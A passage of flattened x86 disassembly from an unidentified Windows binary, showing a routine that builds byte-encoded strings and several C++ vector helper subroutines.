4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3CCh], 36h push 13h lea eax, [esp+8Ch] push eax call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 37h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0F11h] mov byte ptr [esp+388h], 38h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+84h] push 13h push edx mov byte ptr [esp+3D0h], 39h call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Ah call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+107Eh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 3Bh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+10h] mov [esp+10h], edi push ecx mov ecx, offset byte_4D637F call sub_401A5F lea ecx, [esp+0B0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 3Ch call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Dh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+1234h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 3Eh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 mov byte ptr [esp+3B4h], 3Fh push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 40h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+127Dh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 41h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+188h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 42h call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 43h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+11EBh] mov byte ptr [esp+388h], 44h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx mov byte ptr [esp+3CCh], 45h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 46h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+11A2h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 47h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h mov byte ptr [esp+3C0h], 48h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 49h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Ah call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 4Bh call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Ch call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+1159h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 4Dh call sub_401CC1 ; --------------------------------------------------------------------------- mov [esp+358h], bl lea ecx, [esp+14h] call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx mov byte ptr [esp+3D0h], 4Eh call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 4Fh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+12C6h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 50h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D637F push eax mov [esp+14h], edi call sub_401A5F push offset byte_446F60 push offset word_4E6E8A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_401424 lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401424 push 56D2h push 539h mov byte ptr [esp+360h], 52h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 lea ecx, [esp+230h] push eax push offset dword_4437F4 push ecx call sub_40102D push 56D2h push 539h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 14h lea edx, [esp+260h] push eax push offset dword_4437F4 push edx call sub_40102D sub esp, 0Ch lea eax, [esp+44h] mov ecx, esp mov [esp+24h], esp push eax call sub_4014C9 lea ecx, [esi+606h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp lea edx, [esp+44h] mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+230h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp lea edx, [esp+2C0h] push edx call sub_4014C9 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+290h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E6E8A call sub_4014C9 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+140h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 16Dh call sub_4017E4 push eax push offset byte_44741D mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 1B6h call sub_4017E4 push eax push offset dword_4473D4 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] call sub_4017E4 push eax push offset dword_4472B0 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 124h call sub_4017E4 push eax push offset word_447342 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 0DBh call sub_4017E4 push eax push offset byte_4472F9 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 92h call sub_4017E4 push eax push offset byte_44738B mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 1FFh call sub_4017E4 push eax push offset byte_4474AF mov ecx, offset word_448D06 call sub_401596 lea ecx, [esp+248h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 lea ecx, [esp+218h] mov byte ptr [esp+370h], 53h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+8Ch], esp push eax call sub_401861 lea ecx, [esp+110h] mov byte ptr [esp+388h], 54h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0A8h], esp push eax call sub_401861 lea ecx, [esp+140h] mov byte ptr [esp+3A0h], 55h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0C4h], esp push eax call sub_401861 mov ecx, offset word_448C8E mov byte ptr [esp+3B8h], 52h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+98h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+1E8h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 5C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409450 proc near ; CODE XREF: sub_40146Aj arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401974 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409468 mov ecx, esi call sub_40190B ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_409450+Fj mov ecx, esi call sub_401A37 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409450 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409490 proc near ; CODE XREF: sub_401A5Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_40168B pop esi retn 4 sub_409490 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094C0 proc near ; CODE XREF: sub_401A37j mov eax, [ecx+4] retn sub_4094C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094E0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4094E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409500 proc near ; CODE XREF: sub_401974j mov edx, [ecx+4] test edx, edx jnz short loc_40950A xor eax, eax retn ; --------------------------------------------------------------------------- loc_40950A: ; CODE XREF: sub_409500+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_409500 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_40168Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A37 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401B9A mov ecx, edi call sub_401A37 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409530 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409580 proc near ; CODE XREF: sub_40190Bj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] nop call near ptr 760A0430h lea edx, [esp+48h+var_34] push offset dword_43F080 push edx call sub_436832 sub_409580 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409600 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4096CB mov ecx, esi call sub_401974 cmp edi, eax jnb short loc_409633 mov ecx, esi call sub_401974 mov ebp, eax jmp short loc_409635 ; --------------------------------------------------------------------------- loc_409633: ; CODE XREF: sub_409600+26j mov ebp, edi loc_409635: ; CODE XREF: sub_409600+31j mov ecx, esi call sub_401974 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CAD ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016D6 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401974 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4096CB: ; CODE XREF: sub_409600+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409729 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401F96 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409729: ; CODE XREF: sub_409600+D8j test edi, edi jbe short loc_409763 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016D6 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CCB mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401F96 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409763: ; CODE XREF: sub_409600+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_409600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4097D0 proc near ; CODE XREF: sub_40170Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4097F0 loc_4097E1: ; CODE XREF: sub_4097D0+1Ej push esi mov ecx, edi call sub_402072 add esi, 4 cmp esi, ebx jnz short loc_4097E1 loc_4097F0: ; CODE XREF: sub_4097D0+Fj pop edi pop esi pop ebx retn 8 sub_4097D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409810 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_409810 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409830 proc near ; CODE XREF: sub_402072j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409850 proc near ; CODE XREF: sub_4016D6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409882 push edi mov edi, [esp+10h+arg_8] loc_409866: ; CODE XREF: sub_409850+27j push esi push edi mov ecx, ebx call sub_4015AA add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409866 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409882: ; CODE XREF: sub_409850+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098A0 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4098C7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_4098B6: ; CODE XREF: sub_4098A0+23j push ebx push esi mov ecx, ebp call sub_4015AA add esi, 4 dec edi jnz short loc_4098B6 pop esi pop ebx loc_4098C7: ; CODE XREF: sub_4098A0+Aj pop edi pop ebp retn 0Ch sub_4098A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098E0 proc near ; CODE XREF: sub_401CADj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_40203B sub_4098E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_4015AAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_409910 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409940 proc near ; CODE XREF: sub_401F96j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40995D mov edx, [esp+arg_8] push esi loc_409951: ; CODE XREF: sub_409940+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409951 pop esi locret_40995D: ; CODE XREF: sub_409940+Aj retn sub_409940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409970 proc near ; CODE XREF: sub_401CCBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409992 mov eax, [esp+arg_8] push esi loc_409981: ; CODE XREF: sub_409970+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409981 pop esi retn ; --------------------------------------------------------------------------- loc_409992: ; CODE XREF: sub_409970+Aj mov eax, [esp+arg_8] retn sub_409970 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099D0 proc near ; CODE XREF: sub_40203Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4099DA xor eax, eax loc_4099DA: ; CODE XREF: sub_4099D0+6j shl eax, 2 push eax call sub_4367FA sub_4099D0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A00 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409A1B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409A1B: ; CODE XREF: sub_409A00+11j retn sub_409A00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A30 proc near ; CODE XREF: sub_401979j arg_0 = dword ptr 4 mov al, byte_44718A push esi test al, al mov esi, ecx jz short loc_409A66 push edi nop call near ptr 29A19D0h mov edi, dword_50F8C4 push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409A66: ; CODE XREF: sub_409A30+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409A30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AA0 proc near ; CODE XREF: sub_401CDAj mov al, byte_44718A push esi test al, al mov esi, ecx jz short loc_409ABF call near ptr 29A1D35h nop mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh 